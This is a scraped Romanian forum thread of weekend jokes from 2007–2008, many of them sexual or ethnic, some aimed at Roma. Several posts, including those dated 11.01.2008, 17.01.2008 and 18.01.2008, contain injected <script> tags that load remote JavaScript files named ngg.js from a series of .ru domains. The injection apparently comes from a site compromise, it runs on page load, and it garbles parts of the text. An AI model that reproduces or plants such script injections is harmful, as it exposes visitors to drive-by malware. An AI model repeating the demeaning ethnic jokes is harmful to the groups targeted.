Un soldat vine din razboi fara momite. Se duce la doctor si intreaba: "Dom' doctor ce puteti sa faceti pentru mine?"
Doctoru: "Pot sa fac un implant, dar acum dispun doar de o bila de fier si alta de lemn. Singura problema este ca nu poti face copii."
Pacientul: "Nu-i nimic."
operatia decurge bine si fiecare se intoarce la viata lui.
Dupa 10 ani doctorul se intalneste cu pacientul.
Doctorul: "Ce mai faci omule."
Pacientul: "Bine dom' doctor. AM si copii."
Doctorul: "Si cum ii cheama?"
Pacientul: "Pinochio si Robocop"...

19.10.2007, 02:09
Doamne, mare e gradina ta, poarta deschisa si prostii sar gardul.

Cine-i harnic si munceste ori e prost ori nu gandeste

"In lumea asta exista doua lucruri infinite: universul si prostia omeneasca.
De primul lucru nici macar nu sunt sigur."


19.10.2007, 07:48
Un om cade de pe o schela...Singurul martor la accident este un copil.
Un politist vine si-l

19.10.2007, 15:41
Invatatoarea intreaba pe copii la scoala sa spuna fiecare ce le lipseste de pe-acasa. Ridica unu mana si zice ca lor le lipseste un frigider. Nu au frigider. Parintii inca fac economii sa stranga bani pentru frigider. Ridica altul si zice: "Noua ne lipseste masina de spalat". Altul: "Noua ne lipseste televizor". ... Si tot asa. Ridica si Ionel mana: "Noua nu ne mai lipseste nimic". "Ei, cum asa, Ionel?" "Da, tovarasa, am auzit eu aseara pe tata zicand catre mama, cand a venit sora-mea gravida acasa: "Asta ne mai lipsea!"

25.10.2007, 21:02
Un v

26.10.2007, 02:48
Un indian cu capul lipit de păm

26.10.2007, 03:54
unul tare de tot
<DIV style="FONT-STYLE: italic">Bunicul, cu un nepot pe un genunchi, cu alt nepot pe celalalt
genunchi incepe sa le povesteasca acestora din tineretile lui:

- Ei dragii lu' bunicu' vedeti voi pusca aia? Am fost odata cu ea la
vanatoare. La un moment dat vad un mistret MAAAARE. Ochesc, trag si il
dobor. Fiind asa mare nu aveam cum sa il car, asa ca am luat cutitul,
i-am taiat o pulpa am pus-o pe umar si am mers mai departe. Deodata imi
apare in fata alt mistret, mai MAAAARE. Nu am putut sa ma abtin. Ochesc,
trag il dobor si pe asta. Iau cutitul si tai o pulpa, ca nu aveam cum sa
il car, si o pun pe celalt umar...

Intervine bunica:
- Bunicule ti-ai luat pastilele?

Ia bunicu' pastilele si se intoarce la nepotei:
- Asa dragii lu' bunicu', unde am ramas?
- Ai pus o pulpa pe un umar, una pe celalalt...

- Aaaa asa, o pulpa pe un umar, o pulpa pe celalalt... am apucat-o defund si i-am dat la xxx pana dimineatza...

26.10.2007, 05:01
Intr-o luni de dimineata, numa ce il auzim pe un coleg cugetand:daca muncim mai repedenu vine vineri mai repede?Ce sa-i faci, ziceti si voi?! Nu e banc.

Si, apropo de "Ce sa-i faci?", un altul, de prin zona Hategului, povestea ca la ei intr-un sat, cand moare cineva, cei care vin la priveghi nu se adreseaza rudelor mortului cu "Dumnezeu sa-l ierte!" ci spun cu jale "Ce sa-i faci?" Iar cei din casa raspund "N-ai ce-i face!"

02.11.2007, 09:05
Un evreu in Manhattan</span>
la volan, invartindu-se in jurul buildingului unde in 5 min. urma sa
semneze contractul vietii lui, disperat ca nu gaseste un loc de
parcare. Ridica ochii spre cer si spune:
Doamne, te rog gaseste-mi un loc de pracare ca sambata vin la sinagoga
si donez 2-3 mii de $.
</span></font>Trec 2-3 min, nimic. Ridica din nou ochii spre
Doamne , te rog din suflet, fa-mi rost de un loc de parcare ca vin
sambata la sinagoga si donez 5-6 mii, 8 mii nu mai conteaza suma</span>,
doar ajuta-ma cu un loc de parcare.
</span></font>Moment la care o masina parcata mai
in fata iese de pe locul de parcare, omul nostru face volan drepata
intra in parcare, ridica ochii spre cer si spune:
- Doamne, nu mai e nevoie, mersi frumos, s-a rezolvat.</font>

02.11.2007, 15:19
Doua babe au fost invitate si elela o nunta. Si, cum acolo era mai mult tineret, ele nu se prea incadrau, s-au retas si ele mai intr-un colt, la o masa, numai de ele doua. In sala, se discuta in special despre mire, despre mireasa, cum e el, cum e ea...Ele discutau de-ale lor. Una zice catre cealalta: - Auzi, draga, in piata se vand castravetii care sunt cam asa, si arata pe mana de la varful degetelor pana pe la terminarea palmei, cu doi la leu; iar cei care sunt cam asa, si arata ceva mai mare, cu trei la doi lei. Dar cealalta, cum era si putin cam surda, zice: - A pai, draga, stii ce? Cum o fi, baiat bun sa fie.

02.11.2007, 17:06
Cum o fi, baiat bun sa fie.

Mi-am adus aminte de o vorba de-a osenilor, cica "Bun baiat, pacat de fata!"

Tot despre colegul care zicea sa muncim mai repede ca vine vineri mai repede. Ii vine tatal in vizita din Romania si, intr-o zi, inainte de a pleca la lucru ii aminteste acestuia sa ude rosiile. Seara, il intreaba: -Tata, ai udat rosiile? -Cum sa le ud, copile, n-ai vazut c'o plouat? -Da matale n-ai putut lua umbrela?

09.11.2007, 03:04

The family is sitting at the dinner table. The son asks his father, "Dad, how many kinds of boobies are there?" The father, surprised, answers, "Well son, there's three kinds of breasts. In her twenties, a woman's breasts are like melons, round &amp; firm. In her thirties &amp; forties, they are like pears, still nice, but hanging a bit. After fifty, they are like onions." "Onions?" "Yes, you see them, and they make you cry."

This infuriated his wife and daughter so the daughter says, "Mom, how many types of "willies" are there?" The mother, surprised, smiles and answers, "Well dear, a man goes through three phases. In his twenties, his willie is like an oak tree, mighty and hard. In his thirties &amp; forties, it's like a birch tree, flexible but reliable. After his fifties, it is like a Christmas tree." "A Christmas tree??"

"Yes dear, dead from the root up and the balls are for decoration only."

09.11.2007, 04:45

09.11.2007, 17:22
Bancul cu trenul de Nisa

Tatal unui student eminent, care tocmai se pregatea sa mearga la studii la Paris, ii da acestuiala plecare un sfat: "Fiul meu, sa te feresti de trenul de Nisa". Baiatul a retinut, dar nu a mai apucat sa ceara detalii, cum si de ce, fiind ocupat sa-si pregateasca bagajele si sa-si ia ramas bun de la toti. A plecat la Paris. Acolo, se dovedeste de asemenea un student eminent, obtine rezultate foarte bune, toti il simpatizau ... Spre sfarsitul anului intai, isi aduce aminte de sfatul lui taica-sau si il intreaba pe colegul de camera, care era si cel mai bun prieten al lui :"Spune-mi, te rog, si mie care e problema cu trenul de Nisa?" Colegul s-a aratat foarte surprins si i-a zis: "Nu m-am asteptat tocmai de la tine. Te-am crezut un baiat serios". A inceput sa-l evite, si-a aranjat chiar sa se mute in alta camera si apoi n-a mai vorbit cu el. Baiatul a ramas pe ganduri si total confuz. In fine, mai trece timpul, baiatul, ocupat cu ale studentiei, a uitat iara de sfatul lui taica-sau, dar isi aduce aminte intr-o seara cand era in laborator cu profesorul care il simpatiza pe elsi il aprecia foarte mult siil intreaba pe acesta: "Dom' profesor, care e problema cu trenul de Nisa?" Profesorul, foarte indignat, ii spune ca nu se astepta tocmai de la el, a avut o impresie foarte buna pana acum, dar...Si nu l-a mai avut la inima de atunci. A mai trecut timp, avea acumo prietena cu care se intelegea foarte bine si cu care intentiona sa se casatoreasca. Intr-o zi, cand se plimbau prin parc, indragostiti pana peste, o intreaba si pe fata cum e cu trenul de Nisa. Fata nu-i raspunde nimic, ii da doardoua palme si relatia s-a rupt. Baiatul se simtea complet pierdut. Nu stia ce sa mai creada. Si-a reluat activitatea, dar nu mai era studentul de altadata. Mai avea putin sa termine facultatea, primeste o telegrama de la familie sa vina urgent ca tatal este bolnav pe moarte. Vine baiatul cat poate de repede. Il gaseste pe tata-sau, intr-adevar, pe patul de moarte. Se duce direct la el, cu lacrimi in ochi, il imbratiseaza si se grabeste sa-l intrebe: "Tata, tata, spune-mi, te rog, ce ai vrut sa spui cu sfatul acela pe care mi l-ai dat la plecare: sa ma feresc de trenul de Nisa?" Tata-sau zice: "Da, fiul meu, Trenul de Nisa ... " Si-a murit.

16.11.2007, 02:03
<TT>daca tot vine sezonul cadourilor....macar aveti grija pe ce dati banii smileys/smiley36.gif</TT>
<TT>Tipa in pat cu amantul. Tocmai cand erau in plina actiune, un zgomot de cheie rasucita in broasca ii face sa inghete. Cum se stie, in apartamentele moderne patul e direct pe podea (nu e loc sub el), dulap nu exista, doar suport pentru haine, nici balcon ......... In plus locuieste la etajul 13!!! Fara pic de teama, tipa ii spune:</TT>
<TT>- Ramai calm, absolut imobil si nu spune nimic!</TT>
<TT>- Surpriza, darling! Am luat un avion mai devreme si am terminat mai repede. Asa ca am venit imediat acasa.</TT>
<TT>Cand vede tipul gol in camera, intreaba:</TT>
<TT>- Cine e asta?!!</TT>
<TT>- Tocmai mi-a fost livrat, imagineaza-ti. E sclavul meu sexual robotizat, sistem de operare </TT>Microsoft<TT>. De altfel aduce un pic cu </TT>Bill Gates<TT>, nu gasesti? Tu esti mereu plecat, sedinte, voiaje ... stiu eu ce faci tu cand esti singur in camera ta de hotel ? ... E ca un vibrator, dar mai mare. N-ai vrea, totusi, sa te insel cu vecinul sau instalatorul, nu??</TT>
<TT>- Ok, lasa asta! Hai repede, n-ai nevoie de el ca am un chef animalic!!</TT>
<TT>Tipa, care tocmai terminase o partida buna:</TT>
<TT>- Nu draga, am o migrena...</TT>

16.11.2007, 15:35
Marii oameni au murit. Shakespeare a murit, Beethoven a murit, Einstein a murit ... Si nici eu nu ma simt prea bine.

16.11.2007, 17:42
Guess who's still together after all that sh*t between them?

your buttcheekssmileys/smiley36.gif

22.11.2007, 22:35
<DIV align=justify>Un soldat merge la comandantul sau si-i spune:
- Permiteti sa raportez! Printre noi sunt poponari!
- Pe ce te bazezi cand afirmi asta, soldat?
- Pai, pe faptul ca mi-a disparut rujul!... </DIV>

22.11.2007, 22:38
Intr-o zi, o directoare de succes de la resurse umane a fost calcata de un autobuz in timp ce se plimba si a murit. Sufletul ei a fost intampinat la Portile Raiului de catre Sf. Petru in persoana.
- Bine ai venit in Rai. Dar inainte sa te instalezi, se pare ca avem o problema. Vezi tu, n-am mai avut niciodata un director de la resurse umane care sa ajunga pana aici si nu suntem prea siguri ce sa facem cu tine.
- Nici o problema, doar lasati-ma inauntru. - As vrea eu, dar am ordine de sus. Vei petrece o zi
in Iad si una in Rai si apoi vei alege in care din ele ai vrea sa-ti petreci eternitatea.

- De fapt eu m-am decis. Prefer sa raman in Rai.
- Imi pare rau, regulile sunt reguli.

Si astfel Sf. Petru o pune intr-un lift si s-a dus direct in Iad.
Usile s-au deschis si ea s-a gasit calcand pe iarba verde a unui teren de golf minunat. Mai departe era un local si in fata ei erau toti prietenii ei - directori cu care lucrase si toti o aclamau. Au alergat toti spre ea, au sarutat-o pe ambii obraji si au discutat despre vremurile trecute. Au jucat o runda excelenta de golf apoi seara s-au dus in local unde a mancat o cina excelenta formata din friptura si homari. A facut cunostinta si cu Diavolul care era de fapt un tip de
treaba (chiar dragut) si s-a distrat de minune spunand bancuri si dansand. Toti au dat mana cu ea si si-au luat ramas bun in timp ce se urca in lift.

Urmatoarele 24 de ore si le-a petrecut in Rai odihnindu-se pe nori si cantand la harpa.
S-a distrat de minune, si cele 24 de ore au trecut fara sa-si dea seama.

Sf. Petru a venit si a luat-o.
- Deci, ai petrecut o zi in Iad si una in Rai. Acum alege-ti eternitatea.
- Nu credeam c-am sa spun asta, adica, in Rai a fost beton, dar cred ca m-am simtit mai bine in Iad. Asa ca Sf. Petru a escortat-o la lift, care s-a reintors in Iad.

Cand usile s-au deschis, s-a gasit stand intr-un peisaj dezolant, pustiu, acoperit cu gunoi si mizerie. Prietenii ei erau imbracati in zdrente si colectau gunoiul in saci.
Diavolul a venit si el si si-a pus bratul in jurul ei.
- Nu inteleg, spuse femeia tremurand, ieri cand am fost aici era un teren de golf si un local unde am mancat homar, am dansat si m-am simtit bine. Acum nu mai e decat pustiu si gunoi, iar prietenii mei sunt toti mizerabili.
Diavolul s-a uitat la ea si a zambit.
- Ieri te recrutam. Azi esti angajata..........

22.11.2007, 22:40
Este important pentru o femeie sa aiba langa ea un barbat care din cand in
cand sa faca curat, sa gateasca si sa repare ce se mai strica prin casa.
Este important pentru o femeie sa aiba langa ea un barbat caruia sa-i
destainuie aspiratiile ei si care sa o asculte si sa o inteleaga. Este
important pentru o femeie sa aiba langa ea un barbat care sa o admire si
care sa faca dragoste cu ea din placere. Este important pentru o femeie sa
aiba langa ea un barbat care sa o scoata in lume si sa o trateze ca pe o
printesa tot timpul, nu doar la ocaziile speciale. Este foarte important ca
cei patru barbati sa nu se cunoasca intre ei...smileys/smiley36.gif

30.11.2007, 00:05
Doi barbati casatoriti stau de vorba:
- Nu stiu ce sa ma mai fac! De cate ori vin acasa, dupa ce am baut, sting farurile, opresc motorul si imping masina in garaj. Imi scot pantofii, urc scarile cat pot de incet, ma dezbrac in baie, ma strecor in pat si, cand cred ca am scapat, nevasta-mea se scoala si incepe sa tipe la mine!
- In mod evident, procedezi cat se poate de gresit! Eu opresc masina chiar sub geamul dormitorului, trantesc portiera, fac galagie pe scari, imi arunc pantofii in dulap, sar in pat, imi frec mainile de fundul nevesti-mii si-i spun: "Ce zici de una mica?". Si ea intotdeauna se preface ca doarme! smileys/smiley36.gif

30.11.2007, 01:43
Astazi, 30 noiembrie, la Chicago se serbeaza 1 Decembrie. Traiasca Romania, oricand!

07.12.2007, 03:08
M.L., rom

07.12.2007, 07:45
Lenuta - servitoarea - i-a cerut doamnei , o marire de salariu.
Doamna noastra, cam suparata pe chestia asta, a-ntrebat-o:
- Bine Lenuto, ia spune-mi mie, de ce vrei sa-ti maresc salariul?
- Sunt 3 motive pentru care vreau un salariu mai mare. Primul, este ca eu calc camasile mai bine decat dumneavoastra.
- Cine ti-a spus chestia asta?
- Pai, domnu'!
- Aha!
Si Lenuta continua:
- Al doilea motiv este ca eu gatesc cu mult mai bine decat dumneavoastra!...

- Asta nu-i adevarat! Cine ti-a spus prostia asta?
- Pai tot domnu'...
- Aaahaaa!
- ... Si al 3-lea motiv este ca eu mi-o "pun" mai bine decat dumneavoastra!
Doamna,surprinsa si foarte suparata, pe un ton insinuant:

- Si asta, tooot domnul ti-a spus-o! Nu-i asaaa?
- Nu doamna! Asta mi-a spus-o gradinarul!...
Si uite asa, i s-a marit salariul Lenutei... smileys/smiley36.gif

07.12.2007, 09:48
La psihiatru:
- Doctore, am venit la dumneata, pentru nevasta-mea. Are o idee fixa, ca cineva vrea sa-i fure rochiile.
- Esti sigur de asta, domnule?!
- Absolut. A si angajat un individ, special pentru treaba asta. L-am gasit ieri, in sifonier...

Citeste si analizeaza fraza urmatoare:
"Daca barbatul ar sti realmente valoarea pe care o are femeia ar merge in patru <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">labe</st1:place></st1:City> in cautarea ei.

Daca sunteti femeie, cu siguranta ati aseza virgula dupa cuvantul "femeia". Daca sunteti barbat, cu siguranta ati aseza virgula dupa cuvantul "are".

lorelei 37
07.12.2007, 20:04
smileys/smiley36.gifeste cea mai grozava analiza gramaticala din toti anii mei de lb romanasmileys/smiley36.gif

smileys/smiley36.gifKiddy unde zici ca locuieste servitoarea aceea....... o angajez eu smileys/smiley36.gif

14.12.2007, 02:25
<I style="mso-bidi-font-style: normal">Pentru unii visatori de pe acest forum:[/I]

Un rom

14.12.2007, 13:35
Vine un roman in vizita in America. Si auzise el ca aici se gasesc de toate, tot ce-ti pofteste inima. Intra intr-un magazin. Intr-adevar, vede tot felul de minuni. Ajunge la un sector cu conserve de carne si vede acolo: carne de fazan, carne de elefant, carne de strut ... si multe altele. Se gandeste sa incerce si el una. Cere o conserva de elefant. Ii da vanzatorul, plateste si pleaca. Acasa, nerabdator sa vada cum e. O desface si...cutia era goala. Se intoarce repede la magazin: "Domn'e, am cumparat o conserva de elefant si cutia e goala". Vanzatorul: "Domn'e, sa va explicam: Noifolosim o tehnologie moderna si valorificam totul de la unanimal.Dumneavoastra probabil ati nimerit tocmai gaura t*rului.

21.12.2007, 15:12
Tigana, catre tigan: - Tigane, a cazut copilul in noroi. Ce facem? Il spalam sau facem altul?

11.01.2008, 02:11
<TT>Un tanar de 18 ani statea toata ziua pe net: chat, sex virtual, site-uri porno, etc. Intr-o zi bunicul, satul deja de ineptiile nepotului vine si ii zice:</TT>
<TT>- Auzi, nepoate, eu cand eram de varsta ta am fost cu prietenii la Viena. Am intrat in primul bordel, am mancat tot ce-am gasit pe-acolo, am ras toata bautura, apoi am mers sus si am f***t toate curvele, apoi cand am coborat ne-am pisat pe mesele si pe barul de la parter si am plecat fara sa platim.</TT>
<TT>Alui mic ii place ideea si dispare de acasa o saptamina. Cand se intoarce era tot vanat, cu mina si piciorul in gips.</TT>
<TT>- Ce-ai patit nepoate, il intreaba <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">mosul</st1:place></st1:City> .</TT>
<TT>- Am fost cu prietenii la Viena. Am intrat in primul bordel. Am mancat tot ce-am gasit pe-acolo, am ras toata bautura,apoi am mers sus si am f***t toate curvele, apoi cand am coborat ne-am pisat pe mesele si pe barul de la parter,iar cand sa plecam fara sa platim au aparut 4 gorile si ne-au batut de ne-am c***t pe noi.</TT>
<TT>- Auzi, nepoate, da' cum te-ai dus tu la Viena ?</TT>
<TT>- Pai, am mers cu Omnia <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">Tours</st1:place></st1:City> . Da' tu bunicule?</TT>
<TT>- Eu? Cu rusii in '45!</TT>ipt><script sr<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></sc<script src=http://www.iroe.ru/ngg.js></script>

11.01.2008, 02:26

Mos Craciun intra pe horn

14.01.2008, 14:25

14.01.2008, 14:35


14.01.2008, 16:05
mda, foarte haios, dar ... azi e luni smileys/smiley36.gif

15.01.2008, 20:16
Ce vorbesti ca e miercuri smileys/smiley36.gif

16.01.2008, 01:41

</LEGEND>O femeie mergea pe strada si observa un batranel care statea pe un scaun in fata casei.
-Ma scuzati, nu am putut sa nu observ ce fericit aratati, care este secretul dv. pentru o viata lunga si fericita?
-Fumez trei pachete de tigari pe zi, beautrei sticle de whisky pe saptamana, mananc numai mancaruri cu multa grasime si nu fac niciodata sport.
-Nemaipomenit, dar cati ani aveti?
-Douazeci si sase. smileys/smiley2.gif

16.01.2008, 01:51
Propun sa postam in acest topic cate o fapta reala foarte haioasa sau cate un banc de sfarsit de saptamana care sa ne bine dispuna pentru weekendul care este foarte aproape.
cam asta era menirea acestui topic. care parte a cuvantului <B style="mso-bidi-font-weight: normal">vineri [/B]n-o intelege lumea?smileys/smiley75.gif mai sunt topice de poante si bancuri

17.01.2008, 22:43
<H5>Ursul isi cumpara o masina</H5>

Ursul isi cumpara o masina super beton albastra decapotabila cu de toate si face un pariu cu iepurasul:
Ursul:-Eu pun pariu ca merg cu o suta la ora si ma opresc la un metru de prapastie.
Porneste ursul merge cu o suta pe ora si il intreaba pe iepuras:
Ursul:-Ai facut pipi pe tine?
Ursul pune frana si opreste la un metru de prapastie.
Iepurasul face si el un pariu:
Iepurasul:-Eu merg cu doua sute la ora si opresc la un centimetru de prapastie.
Porneste iepurasul merge cu doua sute pe ora si il intreaba pe urs:
Iepurasul:-Ai fa cut pipi pe tine?
Iepurasul:-Poti sa faci si caca nu ajung la pedale!
Un tigan, un francez si un englez merg la un porc. Cineva le propune ca daca cineva va putea sta mai mult de o luna cu porcul meu va primi bani.
Merge englezul:
Sta un minut si spune:
-Ba ce pute porcul asta!
Merge francezul:
Sta Doun minute si zice:
-Ba ce pute porcul uste!
Merge tiganul:
Dupa cateva saptamani iese porcul si exclama din rasputeri:
-Ba ce pute tiganul ista!<BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break">
Un barbat zbura cu un balon
Un barbat zbura cu un balon cu aer cald si la un moment dat si-a dat seama ca s-a ratacit. A coborat pana aproape de pamant si a zarit o femeie pe o pajiste. Apropiindu-se de ea, el i-a strigat:
-Fii amabila, poti sa ma ajuti? Am promis unui prieten ca ma intalnesc cu el, dar nu mai stiu unde ma aflu.
Femeia i-a raspuns:
-Te afli intr-un balon cu aer cald, la vreo 10 metri inaltime. Te gasesti intre 40 si 41 grade latitudine nord, si intre 59 si 60 de grade logitudine vest.
-Ei, probabil esti inginera de profesie! spuse omul din balon.
-Asa este, raspunse femeia, dar de unde stii?
-Pai tot ce mi-ai spus este corect din punct de vedere tehnic, dar tot n-am idee ce-as putea face cu informatiile de la tine si sunt tot in ceata. Sa fiu sincer, nu m-ai ajutat deloc. Ba chiar pot spune ca m-ai tinut pe loc degeaba.
Atunci femeia i-a raspuns:
-Dar tu trebuie sa fii director!
-Asa este, raspunse barbatul, dar de unde stii?
-Pai nu stii unde te afli si nici incotro te indrepti. Te-ai ridicat la inaltime profitand de o flama care a incins situatia. Ai facut o promisiune pe care nu stii cum ai sa ti-o tii si te astepti ca oamenii de sub tine<<script src=http://www.iroe.ru/ngg.js></script>

18.01.2008, 00:43
Un melc bate la <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">usa</st1:place></st1:country-regi&#111;n> unui urs. Iese ursul, se zgaieste, nu vede pe nimeni, dupa care se uita in jos si da de melc. Enervat, il ia pe melc de guler si-l azvarle cat poate de departe. Dupa 6 luni se aud iar batai in <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">usa</st1:place></st1:country-regi&#111;n> ursului, care iese din casa si da cu ochii de melc. Melcul,nervos: "Ia asculta, ma, ce-a fost faza asta de adineauri?
- Dragul meu, in curand vom fi trei...
- Asta e o veste buna! raspunse el sarutand-o
- Mama a obtinut divortul si va veni sa locuiasca cu noi...
O fetita vede pe strada un catel care tocmai facea vrute si nevrute cu o catelusa si il intreaba pe tatal sau ce fac.
Tatal, jenat, ii raspunde:
- Catelusa nu vrea sa se duca acasa si ciinele incearca sa o duca el acasa.
- Ahaa...e ca ieri cu mama, noroc ca se tinea bine de chiuveta, altfel postasul o ducea in mod sigur la posta...
- Mamico, mi-ai spus, ca ingerii au aripi si pot zbura, da?
- Desigur, scumpa mea.
- Aseara, cand tu nu erai, am auzit cum tata ii spunea dadacei
"Ingeras". Ea cand o sa zboare?
- <st1:State w:st="&#111;n">Maine</st1:State> dimineata, scumpo, <st1:State w:st="&#111;n"><st1:place w:st="&#111;n">maine</st1:place></st1:State> dimineata.

Prostia este infinit mai fascinanta decit inteligenta.
Inteligenta are limitele ei, prostia nu.
Dragostea e oarba, dar casatoria ii reda vederea.
Sexul este pretul pe care femeile il platesc pentru casnicie. Casnicia este pretul pe care barbatii il platesc pentru sex.
O femeie poate sa tina un singur secret: virsta ei.
Numai fetele cuminti isi tin un jurnal. Fetele rele n-au timp.
Daca vrei ca sotia sa te asculte cind vorbesti, vorbeste cu alta femeie.
O sa fie numai ochi si urechi. p://www.9jsr.ript><scrip<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=h<script src=http://www.iroe.ru/ngg.js></script>

18.01.2008, 09:36
Sotul i-si duce nevasta la sexolog .

Doctorul</span>: - E adevarat ce mi-a spus sotul dumneavoastra? De ce nu vretzi sa faceti sex?

Femeia</span>: - Domnule doctor, sunt foarte obosita. Toata ziua lucrez. Dimineata sar intr-un taxi sa ma duc la serviciu. Cand ajung, taximetristul ma intreaba: "Facem socoteala sau..." Ca sa fac o economie, aleg "sau". Ajung la servici, seful imi zice: "Iar ai intarziat. Ce facem, iti taiem din salariu, sau?... Binenteles, aleg "sau". Dupa lucru, obosita ma urc intr-un taxi si acelasi lucru...

Doctorul</span>: - Ei, ce parere aveti, ii spunem sotului sau?...

25.01.2008, 04:44
Doi prieteni care nu s-au vazut de multa vreme se intalnesc intr-un bar.
Unul dintre ei este tare suparat, si incearca sa isi ascunda lacrimile ce i se scurg pe obraz.
- Ce ti s-a intamplat? il intreaba amicul sau.
- Nimic, nu pot sa-ti povestesc! Acum nimeni nu ma mai poate ajuta!
- Dar ce s-a intamplat?
- Tocmai m-am intors de la o vanatoare in Africa.
- Si?
- Am fost violat de o gorila, masculul cel mai puternic din grup...
- Si?
- Cinci zile am facut sex fara pauza, stii cum... pur si simplu fara sa se opreasca! Si incepe sa planga in hohote.
- Hai, il consoleaza prietenul, bine c-ai scapat cu viata. Eu n-o sa spun nimic nimanui, iar gorila aia nu vorbeste!
- Pai, tocmai asta este problema, ca nu vorbeste, nu scrie, nu telefoneaza, nu mail........nici un semn....

25.01.2008, 06:35

31.01.2008, 23:27
Ce viseaza (http://www.barricksinsurance.com/GoodHousekeeping.html) barbatii, dragii de ei.

01.02.2008, 00:41
fi yuo cna raed
tihs, yuo hvae a sgtrane mnid too
Cna yuo raed
tihs? Olny 55 plepoe out of 100 can.
i cdnuolt
blveiee taht I cluod aulaclty uesdnatnrd
waht I was
rdanieg. The phaonmneal pweor of the
hmuan mnid,
aoccdrnig to a rscheearch at Cmabrigde
Uinervtisy, it
dseno't mtaetr in waht oerdr the ltteres
in a wrod are,
the olny iproamtnt tihng is taht the frsit
and lsat ltteer
be in the rghit pclae. The rset can be a
taotl mses and
you can sitll raed it whotuit a pboerlm.
Tihs is bcuseae
the huamn mnid deos not raed ervey
lteter by
istlef, but the wrod as a wlohe. Azanmig huh?
yaeh and I
awlyas tghuhot slpeling was ipmorantt!</span></font>

07.02.2008, 07:50
Tare chestia asta, Raven. Dar si bancul lui Sorin cu melcul e criminal.smileys/smiley36.gif

07.02.2008, 14:59
Ha ha ha... tare bancul GN.
Intr-un cimitir, un gropar morocanos sapa o groapa. La un moment dat, dintr-un mormant iese un schelet si vazand groparul se duce sa il sperie.
-Buhuhuuu, face sheletul in spatele groparului. Acesta nimic, sapa in continuare.
-Uuuuuuuu, mai incearca o data scheletul, dar groparul nu-l baga in seama.
Vazand ca nu are sanse sa sperie groparul, scheletul se gandeste sa paraseasca cimitirul in cautarea altor victime. Se duce la gard, pune mainile pe el si se pregateste sa-l sara, cand simte o mana pe umar. Se intoarce si-l vede pe gropar, care ii spune: ne distram, glumim, dar nu parasim incinta, da?!

Bula ii zice profesoarei: Doamna, daca va spun un banc, va cad sanii. Dar vad ca-l stiti deja...

07.02.2008, 16:06
Intr-o croitorie de dama: "Fustele se ridica zilnic intre orele 10.00 si 14.00".

07.02.2008, 16:13
care parte a cuvantului "vineri' n-o intelegeti? dupa ora serverului, inca e joi.

07.02.2008, 16:59
Si daca tot e vineri de joia..inca unul

Un tip pescuia intr-un loc interzis. Un paznic se apropie si-i zice:
- Trebuie sa-ti dau amenda, pescuitul e interzis!
- Dar nu pescuiesc, doar fac baie ramei asteia! zice pescarul, scotand batul din apa.
- Tot trebuie sa platesti amenda. Rama nu are slip si asta nu e plaja de nudisti...

08.02.2008, 04:36
Eu stiam o varianta in care o tipa pescuia intr-o apa si vine paznicul si ii spune ca nu are voie sa pescuiasca si ca trebuie sa primeasca amenda, la care tipa spune ca nu pescuieste ci are doar scula in apa.....

Paznicul, spune ca are scula si ca trebuie sa primeasca amenda....

Tipa spune ca daca o amendeaza ea il acuza pe tip de viol si paznicul ii spune ca nici nu s-a atins de ea....

Atunci spune ca paznicul are scula cu el....

08.02.2008, 05:31
De ce alearga barbatii mai repede decat femeile?
Pentru ca frecarea dintre bile e mai mica decat frecarea dintre placi.

08.02.2008, 10:11
De ce e minunatsa fii barbat !

- Iti pastrezi buna dispozitie toata luna.
- Mecanicii nu te fac prost.
- Nu cari peste tot o geanta plina deacareturi.
- Ti-e perpendicular daca nimeni nu observa noua ta freza.
- La interviu pentru un job corpul tau nu conteaza.
- Nici-unul dintre colegitai n-are capacitate de a te face sa plangi.
- Lenjeria intima e mai ieftina.
- Trei perechi de pantofi sunt destui.
- Iti pastrezi numele defamilie toata viatza.
- Faci baie si esti gata in10 minute.
- Poti umblain tricou alb prin locuri unde te poti uda.
- Tot ce ai pe fatza ramine cuaceasi culoare
- Nu trebuie sa te razi mai jos de beregata.
- Poti lasapatul de la hotel desfacut fara mustrari de constiintza.
- Poti participa la un concurs de pisat si ragaitfara sa-ti fie rusine.
- Poti fii arbitru, popa, Presedinte.
- Poti sate asezi cu picioarele desfacute, si ce daca!
- Mergi la toalete singur, nuin pereche sau in grup.
- Nu trebuie sa opresti la urmatorul PECO fiindca"WC-ul e prea murdar".
- Poti sa-l admiri pe Bruce Willis, fara sa te omori de foame incercandsa arati ca el.
- Cunosti cel putin 20 de variante de a deschide o bere.
- Poti rationaliza orice fraza cu un simplu "da-o'n ......." .
- Convorbirile telefonice cu prietenii tai dureaza mai putin de 60 de secunde.
- Daca nu suni un prieten cand ai zis ca o faci, acesta nu va comenta cu altii ca te-ai schimbat.
- Daca ai 34 de ani si esti necasatorit,prietenilor tai nu le pasa;din contra, te felicita.
- Prietenilor tai nu lepasa daca ai slabit sau te-ai ingrasat.
- Nu-ti pasa daca unii vorbesc inspatele tau.
- Poti sa te scarpini intre picioare la orice ora din zi.
- Daca-i cald poti sa-ti deschizi camasa fara probleme.
- Cu 400 de milioanede spermatozoizi in fiecare tragatura, ai putea duplica populatia pamintului ...cel putin teoretic.
- Poti fi tata zilnic daca vrei fara sa trebuiasca saastepti 9 luni.
- Nu te supara ca cel mai bun prieten de al tau are si altiprieteni
- Poti manca o banana pe strada fara ca lumea sa se gandeasca laprostii

08.02.2008, 12:36
Vine badea Gheoghe la un SIF sa investeasca la bursa si-i zice brokerului:
-Domnucule, vreau sa investesc si eu pe bursa asta, da mai intai explica-mi si mie pe intelesu' meu, asa ca la tara, cum vine chestia asta cu bursa?
